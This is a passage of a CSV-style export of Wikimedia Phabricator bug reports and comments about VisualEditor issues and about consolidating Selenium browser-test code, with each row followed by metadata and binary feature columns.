+Please reopen if this problem still happens and provide an URL/link to an example. Thanks!",,,1425487289,,PHID-USER-hgn5uw2jafgjgfvxibhh,True,,,PHID-TASK-ez3lf5ze2ra5vwgm2kwo,task_subcomment,,True,c1,3,True,,,87,,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,1,0,1,1,1,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0
+414183,VisualEditor: adding section for references will suppress the Related Articles one,"> When creating a section for references and adding the relevant tag,
+
+What I tried:
+Write the text ""Notes"" right above ""Voci correlate"", mark that text, choose ""Heading"" from the formatting dropdown, then add a reference via ""Cite > Basic"" somewhere in the text, then click below the ""Notes"" heading and choose ""Insert > References list"" in VE.
+
+No issues either. Let's close this soon if noone can reproduce (already set to Stalled status).",,,1424366202,,PHID-USER-hgn5uw2jafgjgfvxibhh,True,,,PHID-TASK-ez3lf5ze2ra5vwgm2kwo,task_subcomment,,True,c1,3,True,,,85,,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,1,0,1,1,0,0,0,1,0,1,0,0,0,1,0,1,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,1
+406789,VisualEditor: adding section for references will suppress the Related Articles one,"I've attempted to reproduce the two test cases in a sandbox on the Italian Wikipedia. In both cases ([[https://it.wikipedia.org/w/index.php?title=Utente:Neil_P._Quinn/test&diff=prev&oldid=70691767|full]] and [[https://it.wikipedia.org/w/index.php?title=Utente:Neil_P._Quinn/test&diff=next&oldid=70691826|reduced]]), adding the section heading and references list worked correctly.",,,1423081747,,PHID-USER-cbjanejnwkkrbnj77d2d,True,,,PHID-TASK-ez3lf5ze2ra5vwgm2kwo,task_subcomment,,True,c1,3,False,,,83,,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,1,0,1,0,0,1
+55661,VisualEditor: Wikitext warning triggered without adding wikitext,"The Wikitext warning is triggered in some circumstances without the user having entered Wikitext. The one cause I can reliably reproduce is where there is nowikied markup on the page from a previous edit.
+
+To reproduce:
+1. Load https://en.wikipedia.org/w/index.php?title=User:Thryduulf/sandbox3&oldid=571089410&veaction=edit
+2. Click anywhere on the last line of Section number two (the line that contains ""[[Manhatan]]"" and an ISBN, both of which are enclosed in nowiki tags). 
+
+It seems that the warning is triggered by the existence of wikitext markup in the VE editing surface, rather than by its addition.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1378050300,1378458424.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-dusvcxcsy7gqikdevzgn,task_description,resolved,True,c1,3,False,False,True,8,,1,0,0,1,0,1,0,0,0,0,1,0,0,0,1,1,0,1,1,0,1,0,0,0,0,0,1,0,1,0,1,1,0,1,1,0,1,0,0,0,0,0,0,1,1,0,0,1,1,1,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,1
+256210,VisualEditor: Wikitext warning triggered without adding wikitext,"
+
+*** This bug has been marked as a duplicate of bug 51751 ***",,,1378458424,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-dusvcxcsy7gqikdevzgn,task_subcomment,,True,c1,3,False,,,9,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+55659,"VisualEditor: Show and make editable <nowiki>, </nowiki> and <nowiki /> tags","There is discussion at https://en.wikipedia.org/w/index.php?title=Wikipedia:VisualEditor/Feedback&oldid=571087443#nowiki_tags about using the edit filter to block edits adding the <nowiki /> tag in mainspace. However it was pointed out that ""the user probably has no way to know what they need to fix in order to resubmit their edit.  They can't find the nowiki tag, as it is invisible.""
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=49806
+https://bugzilla.wikimedia.org/show_bug.cgi?id=49603",Needs Triage,90.0,1378049580,1390023864.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-brld2i7xjlh2vp4m2jxn,task_description,declined,True,c1,3,False,False,False,8,,0,0,0,1,1,1,1,0,0,0,1,1,0,0,1,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,0,0,0,0,1,1,1,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,1,0,0,1,0,0,1
+256110,"VisualEditor: Show and make editable <nowiki>, </nowiki> and <nowiki /> tags","WONTFIXing this bug instead:
+
+<nowiki> is fundamentally an artefact of wikitext that users should be (blissfully) unaware of, and Parsoid should ""just make work"" as needed. Right now this is generally true, and it will get better, not worse, in the future, so this is not needed (which is good, because VisualEditor has no way of knowing whilst a user is editing whether Parsoid will decide to put a <nowiki> in).",,,1390023864,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-brld2i7xjlh2vp4m2jxn,task_subcomment,,True,c1,3,True,,,28,,0,0,0,0,1,1,1,1,0,0,1,0,0,0,0,0,0,1,1,0,1,1,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,1,1,0,0,1,1,1,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,1
+256106,"VisualEditor: Show and make editable <nowiki>, </nowiki> and <nowiki /> tags","Gah, sorry, wrong bug.",,,1390023748,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-brld2i7xjlh2vp4m2jxn,task_subcomment,,True,c1,3,True,,,28,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+256102,"VisualEditor: Show and make editable <nowiki>, </nowiki> and <nowiki /> tags","This is because <nowiki /s> (unlike <nowiki>s) are ""meta"" items in the DOM rather than things VE can edit; merging with bug 56381.
+
+*** This bug has been marked as a duplicate of bug 56381 ***",,,1390023708,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-brld2i7xjlh2vp4m2jxn,task_subcomment,,True,c1,3,True,,,28,,0,0,0,1,0,1,0,1,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,0,0,1,0,1,0,0,1
+55643,text duplicated when following an image,"In some odd circumstances the text immediately following an image is duplicated. You can see the effect in
+http://en.wikipedia.org/w/index.php?title=Danny_Nalliah&oldid=570830443&veaction=edit
+where the text '''Daniel (Danny) Nalliah''' is duplicated. 
+
+To make things more confusing it does not occur for every revision 
+http://en.wikipedia.org/w/index.php?title=Danny_Nalliah&oldid=570591483&veaction=edit
+works fine.
+
+To make things thoughly weird in this revision in my sandbox
+http://en.wikipedia.org/w/index.php?title=User:Salix_alba/sandbox&oldid=570839025
+the text '''Daniel (Danny) Nalliah''' does not appear. Yet it magically appear in VE
+http://en.wikipedia.org/w/index.php?title=User:Salix_alba/sandbox&direction=prev&oldid=570839025&veaction=edit
+
+This issues is discussed at 
+http://en.wikipedia.org/wiki/Wikipedia:VisualEditor/Feedback#Still_looks_like_VE_Feedback_to_me
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1378023300,1423705265.0,PHID-USER-7hrs7wwclcldf7mm6a7o,False,PHID-USER-hgn5uw2jafgjgfvxibhh,True,PHID-TASK-keti3xueyglzi4p4spht,task_description,declined,True,c1,3,False,False,False,8,,1,0,0,1,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,1,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,1,1,0,1,1,0,0
+410320,text duplicated when following an image,"Cannot reproduce the problem either with the given links and Firefox 35...
+Assuming that this has magically fixed itself.
+Hence closing this ticket as DECLINED as no-one else could reproduce so far, unfortunately.
+
+@SalixAlba: If you can still reproduce this problem, please provide browser information. (Also, testing with the browser and having add-ons / extensions disabled or such might be welcome.)",,,1423705265,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-keti3xueyglzi4p4spht,task_subcomment,,True,c1,3,True,,,84,,0,0,0,0,1,1,1,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,0,0,1,1,1,1,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,1,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,0,1,1,0,0,0,1,1,0,0,1
+402144,text duplicated when following an image,Cannot reproduce. Was this fixed at some point?,,,1421888484,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-keti3xueyglzi4p4spht,task_subcomment,,True,c1,3,True,,,81,,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0
+55632,VisualEditor: Cannot paste into edit summary in Chromium,"I cannot paste text into the edit summary with Ctrl+V or right click and paste when I use Chromium Version 28.0.1500.71 Ubuntu 13.04 (28.0.1500.71-0ubuntu1.13.04.1). Nothing happens. It works fine in FireFox though.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1377976740,1393634250.0,PHID-USER-bvi77f4zkvm3mrkrqvwp,False,,False,PHID-TASK-dfdz2k3zlkzv6jpt4n44,task_description,resolved,True,c1,3,False,False,False,8,,0,0,0,0,1,1,0,0,1,0,1,0,0,0,0,1,0,1,1,1,0,0,0,0,0,1,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,0
+254552,VisualEditor: Cannot paste into edit summary in Chromium,"Now that the edit summary is in its own window, this bug has gone away. I don't know whether the plan is to eventually return to the edit confirmation flyout - if so this bug may well reappear.",,,1393634250,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-dfdz2k3zlkzv6jpt4n44,task_subcomment,,True,c1,3,False,,,34,,0,0,0,0,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,1,0,0,1,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,1,1,1,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+254547,VisualEditor: Cannot paste into edit summary in Chromium,"en.wp user ToE further reports:
+Upon upgrading to Google Chrome: 29.0.1547.76 (Official Build 223446) m, JavaScript V8 3.19.18.23, paste into edit summary works properly.",,,1380030184,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-dfdz2k3zlkzv6jpt4n44,task_subcomment,,True,c1,3,False,,,12,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,1
+254540,VisualEditor: Cannot paste into edit summary in Chromium,"en.wp user ToE reports:
+[this bug] also applies to Google Chrome, version ""29.0.1547.66 (Official Build 220848) m"", JavaScript V8 3.19.18.19, running on Windows 7 Home Premium, Service Pack 1. Paste into edit summary works fine on the same machine in Firefox version 23.0.1.",,,1379878291,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-dfdz2k3zlkzv6jpt4n44,task_subcomment,,True,c1,3,False,,,11,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,0,0,0,1,0,0,1
+254534,VisualEditor: Cannot paste into edit summary in Chromium,"I'm observing the exact same problem in the same Chromium version on Ubuntu 13.04 (no error messages in the JavaScript console, works fine in Firefox).",,,1379211478,,PHID-USER-wlku5ja6envbi4cz2etp,False,,,PHID-TASK-dfdz2k3zlkzv6jpt4n44,task_subcomment,,True,c1,3,False,,,10,,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+254530,VisualEditor: Cannot paste into edit summary in Chromium,"**eliashedberg** wrote:
+
+I had the same (or a similar) problem in Chrome 29.0.1547.62 under Mac OS X 10.6.8: when pasting the string ""Lavoslav Ružička"" into the edit summary the page behind the summary jumped down and back up (or the other way around) but there was no text inserted into the edit summary.
+
+I can recreate the failed paste action in the edit summary of my sandbox, but the text behind the edit summary doesn’t move (potentially because that article is too short).
+
+I can recreate the failed paste action with other strings too (in Chrome), i.e. no pasting works, no matter what string I try to paste.
+
+In Firefox, pasting into the edit summary works fine (Firefox 23.0.1, also under OS X 10.6.8).",,,1378189372,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-dfdz2k3zlkzv6jpt4n44,task_subcomment,,True,c1,3,False,,,9,,0,0,0,0,0,1,1,1,0,0,1,0,0,0,1,1,0,1,1,0,1,0,0,0,1,0,0,1,1,0,0,1,0,0,1,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,1
+254524,VisualEditor: Cannot paste into edit summary in Chromium,"Hm, how do I find the browser's error console? If it's F12 and Console, then no, no messages there. 
+
+I noticed that if the page I was editing is not scrolled to the top, when I try to paste, it behaves as if I press arrow up.",,,1378154905,,PHID-USER-bvi77f4zkvm3mrkrqvwp,False,,,PHID-TASK-dfdz2k3zlkzv6jpt4n44,task_subcomment,,True,c1,3,False,,,9,,0,0,0,0,1,0,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,1,0,0,1,0,1,0,0,1,0,0,0
+254517,VisualEditor: Cannot paste into edit summary in Chromium,Is there any kind of output in the browser's error console when you try?,,,1378119003,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-dfdz2k3zlkzv6jpt4n44,task_subcomment,,True,c1,3,True,,,9,,1,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,1,1,0,1,0,0,1,0,1,0,0,0,0,0,0
+55582,Delete tests from browsertests repository that are moved to other repositories,"We have moved ULS and VisualEditor tests to their repositories. Delete the code from browsertests repository.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1377862680,1382022159.0,PHID-USER-fz7hkyvt4jypl76ieyol,False,,False,PHID-TASK-pqtihvfc7f4d73rdtnjq,task_description,resolved,True,c1,3,True,False,False,8,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+252094,Delete tests from browsertests repository that are moved to other repositories,"Reopening until we decide if search.feature file should:
+
+- stay in browsertests repo
+- be moved to CirrusSearch repo
+- be deleted",,,1381823392,,PHID-USER-fz7hkyvt4jypl76ieyol,False,,,PHID-TASK-pqtihvfc7f4d73rdtnjq,task_subcomment,,True,c1,3,True,,,15,,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,1
+252089,Delete tests from browsertests repository that are moved to other repositories,"Change 88992 merged by Cmcmahon:
+Flow tests are moved to Flow repository
+
+https://gerrit.wikimedia.org/r/88992",,,1381420151,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-pqtihvfc7f4d73rdtnjq,task_subcomment,,True,c1,3,False,,,14,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+252084,Delete tests from browsertests repository that are moved to other repositories,"Chris, did we move all tests from browsertests repository to relevant repositories? Should this bug be resolved?
+
+The only remaining feature file that I see in browsertests repository that should be either deleted or moved to CirrusSearch repository is search.feature. Or, should we leave it in browsertests repository?",,,1381416666,,PHID-USER-fz7hkyvt4jypl76ieyol,False,,,PHID-TASK-pqtihvfc7f4d73rdtnjq,task_subcomment,,True,c1,3,True,,,14,,1,0,0,1,0,1,0,0,0,0,1,0,0,1,0,1,0,1,1,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,1,1,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,0,0,1,0,0,0
+252079,Delete tests from browsertests repository that are moved to other repositories,"Change 88992 had a related patch set uploaded by Zfilipin:
+Flow tests are moved to Flow repository
+
+https://gerrit.wikimedia.org/r/88992",,,1381416355,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-pqtihvfc7f4d73rdtnjq,task_subcomment,,True,c1,3,False,,,14,,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+55581,Figure out how to reuse common test code between repositories,"At the moment we have similar setup code for browser tests in 6 repositories:
+
+https://github.com/wikimedia/qa-browsertests
+https://github.com/wikimedia/mediawiki-extensions-CirrusSearch
+https://github.com/wikimedia/mediawiki-extensions-MobileFrontend
+https://github.com/wikimedia/mediawiki-extensions-UniversalLanguageSelector
+https://github.com/wikimedia/mediawiki-extensions-VisualEditor
+https://github.com/wikimedia/mediawiki-extensions-Wikibase
+
+Figure out a way how to reduce code duplication. We should probably create a Ruby gem.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1377862440,1381410774.0,PHID-USER-fz7hkyvt4jypl76ieyol,False,,False,PHID-TASK-ma7ogjs2kvk66wshe44k,task_description,resolved,True,c1,3,True,False,False,8,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,0,0,0,0
+252024,Figure out how to reuse common test code between repositories,"
+
+*** This bug has been marked as a duplicate of bug 53579 ***",,,1381410774,,PHID-USER-fz7hkyvt4jypl76ieyol,False,,,PHID-TASK-ma7ogjs2kvk66wshe44k,task_subcomment,,True,c1,3,True,,,14,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+55580,Update readme file so it contains links to all repositories with Selenium tests,"README.md[1] file has information about Selenium tests in
+
+https://github.com/wikimedia/mediawiki-extensions-MobileFrontend
+
+Add links to:
+
+https://github.com/wikimedia/mediawiki-extensions-CirrusSearch
+https://github.com/wikimedia/mediawiki-extensions-UniversalLanguageSelector
+https://github.com/wikimedia/mediawiki-extensions-VisualEditor
+https://github.com/wikimedia/mediawiki-extensions-Wikibase
+
+1: https://github.com/wikimedia/qa-browsertests/blob/master/README.md
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1377862320,1382359575.0,PHID-USER-fz7hkyvt4jypl76ieyol,False,,False,PHID-TASK-dhqbmbptdf76io4mrpls,task_description,resolved,True,c1,3,True,False,False,8,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+251980,Update readme file so it contains links to all repositories with Selenium tests,"Change 90562 merged by jenkins-bot:
+Relevant links
+
+https://gerrit.wikimedia.org/r/90562",,,1382362818,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-dhqbmbptdf76io4mrpls,task_subcomment,,True,c1,3,False,,,16,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+251975,Update readme file so it contains links to all repositories with Selenium tests,"Change 90562 had a related patch set uploaded by Zfilipin:
+Relevant links
+
+https://gerrit.wikimedia.org/r/90562",,,1382112246,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-dhqbmbptdf76io4mrpls,task_subcomment,,True,c1,3,False,,,15,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+55579,Make sure all repositories have the latest version of shared code,".ruby-gemset and .ruby-version should be removed and RVM setup should be moved to Gemfile[1].
+
+Repositories that are doing it right:
+https://github.com/wikimedia/mediawiki-extensions-UniversalLanguageSelector
+https://github.com/wikimedia/mediawiki-extensions-VisualEditor
+
+Repositories that should be updated:
+
+https://github.com/wikimedia/mediawiki-extensions-CirrusSearch
+https://github.com/wikimedia/mediawiki-extensions-MobileFrontend
+https://github.com/wikimedia/mediawiki-extensions-Wikibase
+https://github.com/wikimedia/qa-browsertests
+
+1: https://github.com/wikimedia/mediawiki-extensions-UniversalLanguageSelector/blob/master/tests/browser/Gemfile#L1-L2
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1377861960,1382729080.0,PHID-USER-fz7hkyvt4jypl76ieyol,False,,False,PHID-TASK-uvse6kpckod47zira6mk,task_description,resolved,True,c1,3,True,False,False,8,,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,1,1,0,1,0,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,0,0,1,0,0,1
+251937,Make sure all repositories have the latest version of shared code,All repositories that have Selenium tests in Ruby now use mediawiki-selenium gem.,,,1382729080,,PHID-USER-fz7hkyvt4jypl76ieyol,False,,,PHID-TASK-uvse6kpckod47zira6mk,task_subcomment,,True,c1,3,True,,,16,,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0
+251932,Make sure all repositories have the latest version of shared code,"Change 87552 merged by jenkins-bot:
+Moving shared code to mediawiki-selenium Ruby gem
+
+https://gerrit.wikimedia.org/r/87552",,,1382713394,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-uvse6kpckod47zira6mk,task_subcomment,,True,c1,3,False,,,16,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0
+251928,Make sure all repositories have the latest version of shared code,"Change 87581 merged by jenkins-bot:
+[browser test] Moving shared code to mediawiki-selenium Ruby gem
+
+https://gerrit.wikimedia.org/r/87581",,,1382546758,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-uvse6kpckod47zira6mk,task_subcomment,,True,c1,3,False,,,16,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
+251921,Make sure all repositories have the latest version of shared code,"Change 87563 merged by jenkins-bot:
+Moving shared code to mediawiki-selenium Ruby gem
+
+https://gerrit.wikimedia.org/r/87563",,,1382546616,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-uvse6kpckod47zira6mk,task_subcomment,,True,c1,3,False,,,16,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0
+251914,Make sure all repositories have the latest version of shared code,"Change 87125 merged by Cmcmahon:
+Moving code used in multiple repositores to a Ruby gem
+
